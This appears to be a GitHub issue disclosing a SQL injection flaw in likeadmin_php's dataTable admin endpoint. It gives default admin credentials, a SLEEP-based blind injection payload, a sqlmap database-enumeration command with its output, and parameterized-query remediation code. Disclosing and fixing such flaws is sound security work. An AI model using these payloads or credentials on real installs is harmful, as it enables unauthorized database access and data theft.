

likeadmin-likeshop / likeadmin_php Public[Code](#) [Issues 5](#) [Pull requests 2](#) [Actions](#) [Projects](#) [Security and quality](#)[New issue](#)

SQL Injection Vulnerability #8

[Open](#)

zzk6th opened 3 weeks ago



SQL Injection Vulnerability in likeadmin_php

1. Vulnerability Overview

Item	Content
Vulnerability Type	SQL Injection
Affected Product	likeadmin_php <=1.9.6
Vulnerability Location	<code>/adminapi/tools.generator/dataTable</code>
Required Privileges	Administrator Login

2. Vulnerable Code

File Location: `server\app\adminapi\lists\tools\DataTableLists.php:35-38`

```
public function queryResult()
{
    $sql = 'SHOW TABLE STATUS WHERE 1=1 ';
    if (!empty($this->params['name'])) {
        $sql .= "AND name LIKE '%" . $this->params['name'] . "%'";
    }
    if (!empty($this->params['comment'])) {
        $sql .= "AND comment LIKE '%" . $this->params['comment'] . "%'";
    }
    return Db::query($sql);
}
```



3. Vulnerability Reproduction Steps

Step 1: Obtain Administrator Token

```
POST /adminapi/login/account HTTP/1.1
Host: 192.168.171.130:20221
Content-Type: application/json;charset=UTF-8
Content-Length: 63
```

```
{ "account": "admin", "password": "admin@123", "terminal": 1 }
```

Response:

The screenshot shows the browser's developer tools with the 'Network' tab selected. The request and response for the login endpoint are visible.

Request:

```
1 POST /adminapi/login/account HTTP/1.1
2 Host: 192.168.171.130:20221
3 Accept-Encoding: gzip, deflate
4 version: 1.9.4
5 Priority: u=0
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/2010101 Firefox/149.0
7 Content-Type: application/json;charset=UTF-8
8 Origin: http://192.168.171.130:20221
9 Referer: http://192.168.171.130:20221/admin/login
10 Accept: application/json, text/plain, */*
11 Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
12 Content-Length: 63
13
14 { "account": "admin", "password": "admin@123", "terminal": 1 }
15
```

Response:

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.14.2
3 Date: Sun, 05 Apr 2026 06:03:34 GMT
4 Content-Type: application/json; charset=utf-8
5 Connection: keep-alive
6 Access-Control-Allow-Origin: *
7 Access-Control-Allow-Headers: Authorization, Sec-Fetch-Mode, DNT, X-Mx-ReqToken,
Keep-Alive, User-Agent, If-Match, If-None-Match, If-Unmodified-Since,
X-Requested-With, If-Modified-Since, Cache-Control, Content-Type,
Accept-Language, Origin, Accept-Encoding, Access-Token, token, version
8 Access-Control-Allow-Methods: GET, POST, PATCH, PUT, DELETE, post
9 Access-Control-Max-Age: 1728000
10 Access-Control-Allow-Credentials: true
11 Content-Length: 253
12
13 {
14   "code": 1,
15   "show": 0,
16   "msg": "",
17   "data": {
18     "name": "admin",
19     "avatar": "http://192.168.171.130:20221/resource/image/adminapi/default/
avatar.png",
20     "role_name": "系统管理员",
21     "token": "79fcc948a0a3e1276899d137a6d81572"
22   }
23 }
24
```

Step 2: Discover Time-Based Blind SQL Injection

Test 1 (Normal Request):

```
GET /adminapi/tools.generator/dataTable?name=1 HTTP/1.1
Host: 192.168.171.130:20221
Token: 79fcc948a0a3e1276899d137a6d81572
```

Response Time: 18ms

```

Request
1 GET /adminapi/tools.generator/dataTable?name=1 HTTP/1.1
2 Host: 192.168.171.130:20221
3 Token: 79fcc948a0a3e1276899d137a6d81572

Response
97bytes / 18ms
1 HTTP/1.1 200 OK
2 Server: nginx/1.14.2
3 Date: Sun, 05-Apr-2026 06:22:32 GMT
4 Content-Type: application/json; charset=utf-8
5 Connection: keep-alive
6 Access-Control-Allow-Origin: *
7 Access-Control-Allow-Headers: Authorization, Sec-Fetch-Mode, DNT, X-Mx-ReqToken, Keep-Alive, User-Agent, If-Match, If-None-Match, If-Unmodified-Since, X-Requested-With, If-Modified-Since, Cache-Control, Content-Type, Accept-Language, Origin, Accept-Encoding, Access-Token, token, version
8 Access-Control-Allow-Methods: GET, POST, PATCH, PUT, DELETE, post
9 Access-Control-Max-Age: 1728000
10 Access-Control-Allow-Credentials: true
11 Content-Length auto: 148
12
13 {
14   "code": 1,
15   "show": 0,
16   "msg": "",
17   "data": {
18     "lists": [],
19     "count": 0,
20     "page_no": 1,
21     "page_size": 25,
22     "extend": []
23   }
24 }
  
```

Test 2 (Time-Based Blind Injection):

```

GET /adminapi/tools.generator/dataTable?name=1' AND (SELECT 2105 FROM (SELECT(SLEEP(5)))XZor)-- GCde}}
Host: 192.168.171.130:20221
Token: 79fcc948a0a3e1276899d137a6d81572
  
```

Response Time: 10027ms

Conclusion: 5-second response time difference confirms the existence of time-based blind SQL injection vulnerability.

```

Request
1 GET /adminapi/tools.generator/dataTable?name={{urlenc(1' AND (SELECT 2736 FROM (SELECT (SLEEP(5)))XZor)-- GCde)}} HTTP/1.1
2 Host: 192.168.171.130:20221
3 Token: 79fcc948a0a3e1276899d137a6d81572
4
5

Response
97bytes / 10027ms
1 HTTP/1.1 200 OK
2 Server: nginx/1.14.2
3 Date: Sun, 05-Apr-2026 06:23:33 GMT
4 Content-Type: application/json; charset=utf-8
5 Connection: keep-alive
6 Access-Control-Allow-Origin: *
7 Access-Control-Allow-Headers: Authorization, Sec-Fetch-Mode, DNT, X-Mx-ReqToken, Keep-Alive, User-Agent, If-Match, If-None-Match, If-Unmodified-Since, X-Requested-With, If-Modified-Since, Cache-Control, Content-Type, Accept-Language, Origin, Accept-Encoding, Access-Token, token, version
8 Access-Control-Allow-Methods: GET, POST, PATCH, PUT, DELETE, post
9 Access-Control-Max-Age: 1728000
10 Access-Control-Allow-Credentials: true
11 Content-Length auto: 148
12
13 {
14   "code": 1,
15   "show": 0,
16   "msg": "",
17   "data": {
18     "lists": [],
19     "count": 0,
20     "page_no": 1,
21     "page_size": 25,
22     "extend": []
23   }
24 }
  
```

Step 3: Automated Verification with sqlmap

Execution Command:

```
python .\sqlmap.py -u "http://192.168.171.130:20221/adminapi/tools.generator/dataTables?name=1" --headers="Token: 79fcc948a0a3e1276899d137a6d81572" --level 3 --dbs --batch
```

Parameter Description:

- `-u` : Target URL
- `--headers` : Add Token header
- `--level 3` : Detection level
- `--dbs` : Enumerate databases
- `--batch` : Auto-confirm

Verification Result:

```
PS C:\Users\32454> python .\sqlmap.py -u "http://192.168.171.130:20221/adminapi/tools.generator/dataTables?name=1" --headers="Token: 79fcc948a0a3e1276899d137a6d81572" --level 3 --dbs --batch
[1.9.1.2#dev]
https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:25:50 /2026-04-05/
[14:25:51] [INFO] resuming back-end DBMS 'mysql'
[14:25:51] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: name (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
  Payload: name=1' AND 2028=(SELECT (CASE WHEN (2028=2028) THEN 2028 ELSE (SELECT 1196 UNION SELECT 7270) END))-- --
  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  Payload: name=1' AND GTID_SUBSET(CONCAT(0x7176766b71,(SELECT (ELT(9352=9352,1))),0x7171706271),9352)-- mrkL
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: name=1' AND (SELECT 2736 FROM (SELECT(SLEEP(5)))XZor)-- GCde
[14:25:51] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.14.2
back-end DBMS: MySQL >= 5.6
[14:25:51] [INFO] fetching database names
[14:25:51] [INFO] resumed: 'likeadmin'
available databases [1]:
[*] likeadmin
[14:25:51] [INFO] fetched data logged to text files under 'C:\Users\32454\AppData\Local\sqlmap\output\192.168.171.130'
[*] ending @ 14:25:51 /2026-04-05/
```

4. Remediation

Use Parameterized Queries:

```
public function queryResult()
{
    $sql = 'SHOW TABLE STATUS WHERE 1=1 ';
    $bindings = [];

    if (!empty($this->params['name'])) {
        $sql .= "AND name LIKE ?";
        $bindings[] = '%' . $this->params['name'] . '%';
    }
}
```

```
if (!empty($this->params['comment'])) {  
    $sql .= "AND comment LIKE ?";  
    $bindings[] = '%' . $this->params['comment'] . '%';  
}  
  
return Db::query($sql, $bindings);  
}
```

5. Risk Assessment

Metric	Score	Description
Attack Vector	Network	Remote exploitation
Attack Complexity	Low	Low exploitation barrier
Privileges Required	Low	Administrator login required
User Interaction	None	No interaction required
Scope	Changed	Can affect other components
Confidentiality	High	Full data access possible
Integrity	High	Full data modification possible
Availability	High	Can cause service unavailability
Overall Score	9.8	Critical

[Sign up for free](#) to join this conversation on **GitHub**. Already have an account? [Sign in to comment](#)

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants

